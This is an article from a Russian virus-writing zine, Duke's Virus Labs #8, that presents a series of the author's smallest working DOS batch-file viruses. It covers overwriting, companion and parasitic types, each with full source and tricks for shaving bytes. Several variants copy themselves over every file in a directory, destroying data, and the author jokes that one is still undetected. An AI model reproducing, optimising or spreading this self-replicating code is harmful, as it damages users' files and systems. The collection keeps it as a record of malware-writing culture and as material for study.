- [Duke's Virus Labs #8] - [Page 18] - Smallest BAT-virii in the world ! (c) by Duke/SMF Сразу говорю, что в целях сокращения размера вируса любая маскировка ("@", "echo off", "ctty nul", ">nul" и прочее) опущена. Поэтому вирусы выдают на экран кучу сообщений о проделанной работе и ошибках... но РАБОТАЮТ ! В последнем номере журнала Moon Bug (#10) я рассказывал о тонкостях написания самых коротких BAT.Trivial вирусов. Все предложенные в той статье вирусы прекрасно маскировались, и самый короткий полученный вирус имел размер 44 байта : ===== begin t44.bat ===== @ctty nul for %%b in (*.bat) do copy %0 %%b ===== end t44.bat ===== Как я и говорил, пора отбросить маскировку : ===== begin t33.bat ===== for %%b in (*.bat) do copy %0 %%b ===== end t33.bat ===== Но и тут у нас есть непозволительная роскошь - маска по которой мы ищем файлы. Для поиска батников вполне подойдет *.b*, а можно уничтожать и все файлы. ===== begin t32.bat ===== for %%b in (*.b*) do copy %0 %%b ===== end t32.bat ===== ===== begin t31.bat ===== for %%b in (*.*) do copy %0 %%b ===== end t31.bat ===== А теперь давайте поговорим о самых маленьких батниках, не портящих код жертвы, т.е. о Parasitic и Companion вирусах. Я буду рассказывать только о своих вирусах, поскольку ни одной чужой разработки я еще не видел ;-)) В журнале DVL #7 мной был предложен компаньон вирус размером в 54 байта (BAT.Silly.54 по AVP) и я предлагал его соптимизировать. Вирус не возвращает управления жертве и поражает только один (последний) файл каталога. ===== begin c54.bat ===== for %%a in (*.b*) do set a=%%a ren %a% *.|copy %0 %a% ===== end c54.bat ===== Однако, после некоторых размышлений и тестирования идей на практике, я убедился, что для отбрасывания расширения достаточно использовать команду "ren %a% *", что на 1 байт меньше. Таким образом я сам оптимизировал этот вирус :) Остальным, видимо, слабо.... ===== begin c53.bat ===== for %%a in (*.b*) do set a=%%a ren %a% *|copy %0 %a% ===== end c53.bat ===== Вирус, который будет поражать ВСЕ файлы каталога, уместился в 63 байта : ===== begin c63.bat ===== if "%1==" for %%i in (*.b*) do call %0 %%i ren %1 *|copy %0 %1 ===== end c63.bat ===== Конструкция 'if "%1==" ' нужна для того, чтобы наш батник не был вогнан в бесконечную реккурсию (ведь он многократно вызывает сам себя!). Но от этой конструкции можно отмахнуться. Нам нужно, чтобы поиск файлов работал только один раз - когда первый параметр командной строки пуст ! Ничто не мешает нам искать файлы по маске '*.%1b*', что лишь однажды будет означать '*.b*' : ===== begin c55.bat ===== for %%i in (*.%1b*) do call %0 %%i ren %1 *|copy %0 %1 ===== end c55.bat ===== А вот еще несколько вариаций на тему компаньонов (правда, еще большего размера). Первый из них переименовывает все *.b* в файлы без расширения, а вместо них записывается сам, причем с самим собой все корректно ;-))) К сожалению, при повторном заражении первоначально пораженный файл гибнет :(( ===== begin c69.bat ===== for %%i in (*.b*) do copy %%i * for %%i in (*.) do copy %0 %%i.bat ===== end c69.bat ===== На этом вирусе можно маленько пооптимизировать ! Если при копировании использовать астерикс "*", то эта часть имени останется без изменения. Применим этот трюк для расширения (ведь вирус может стартовать только из BAT-файла !) и уменьшим размер на 2 байта : ===== begin c67.bat ===== for %%i in (*.b*) do copy %%i * for %%i in (*.) do copy %0 %%i.* ===== end c67.bat ===== Но поиск файлов без расширения можно проводить по еще более простой маске ('*.' эквивалентно '*') : ===== begin c66.bat ===== for %%i in (*.b*) do copy %%i * for %%i in (*) do copy %0 %%i.* ===== end c66.bat ===== Следующий вирус копирует все файлы в файл без расширения, поэтому если у нас есть несколько одноименных файлов с одинаковым расширением, то выживет лишь один :(( ===== begin c65.bat ===== for %%i in (*.*) do copy %%i * for %%i in (*.*) do copy %0 %%i ===== end c65.bat ===== Теперь о паразитических вирусах. Ради экономии места будем писать паразитические BAT-вирусы, которые таскают с собой все ранее пораженные файлы :(( Вот пожалуйста - паразитический вирус, который не проверяет файлы на повторное заражение, да еще поражает каждый из файлов в каталоге столько раз, сколько свего батников в каталоге :)) Но работает, и размер мелкий. ===== begin p69.bat ===== if "%1==" for %%m in (*.b*) do call %0 %%m copy /b %0+%1 # copy # %1 ===== end p69.bat ===== Применяя трюк, описаный мной в разделе компаньонов, получим : ===== begin p61.bat ===== for %%m in (*.%1b*) do call %0 %%m copy/b %0+%1 # copy # %1 ===== end p61.bat ===== О возможных ошибках... Команда "for %%i in (*.bat) do type %0>>%%i" работать не будет ! Это связано в невозможностью перенаправления в команде FOR... :((( Но голь на выдумку хитра ! Поэтому я написал вирус BAT.Silly.32, к преимуществам которого можно отнести : + паразитический (!!!), т.е чудесно лечится; + поражает все файлы *.b* в текущей директории; + не заражает сам себя ! Здесь используется тот факт, что если не задано имя "куда_копировать", то по умолчанию файлом-адресатом становится первый указанный файл. Ну а символ "+" означает склейку файлов... ===== begin p32.bat ===== for %%b in (*.b*) do copy %%b+%0 ===== end p32.bat ===== Одним из главных недостатков является то, что для корректной работы пораженного файла и вируса в нем, необходимо наличие в этом файле перевода строки после последней строки. То бишь файл должен заканчиваться символами 0Dh, 0Ah. А такое встречается далеко не всегда. Поэтому более жизнеспособным будет другой вирус - BAT.Silly.34 (в пораженных файлах из отличить невозможно, поэтому правильнее назвать их BAT.Silly.32/34) : ===== begin p34.bat ===== for %%b in (*.b*) do copy %%b+%0 ===== end p34.bat ===== А чтобы этот вирус был абсолютным победителем среди паразитических батников, я еще более сократил маску поиска и получил 31 байт : ===== begin p31.bat ===== for %%b in (*.*) do copy %%b+%0 ===== end p31.bat ===== Еще есть класс вирусов, которые выбрасывают собственный код на STDOUT в надежде на то, что в командной строке указано перенаправление вывода в другой файл ;) Касперский называет такие вирусы, написанные на ассемблере, как Trojan.STDOUT.* . Они имеют размер 5-7 байт. Но у нас тут не ассемблер, поэтому я предлагаю Trojan.STDOUT.10 на BAT-языке (странно, что Касперский сам не додумался до этого ;-) : ===== begin t10.bat ===== type %0>%1 ===== end t10.bat ===== Своего рода пародия на известнейший вирус "copy %0 %1", который до сих пор не детектируется ;-)))) Если вышеприведенный троян совсем чуть-чуть модернизировать, мы получим самый короткий в мире паразитический BAT-вирус, который работает не чаще, чем бывает 29 февраля : ===== begin p11.bat ===== type %0>>%1 ===== end p11.bat ===== Ну вот пока и все... Надеюсь вам было интересно и вы хоть немного были поражены возможностями языка Batch. Возможно, в ближайшем будущем последует продолжение этой статьи...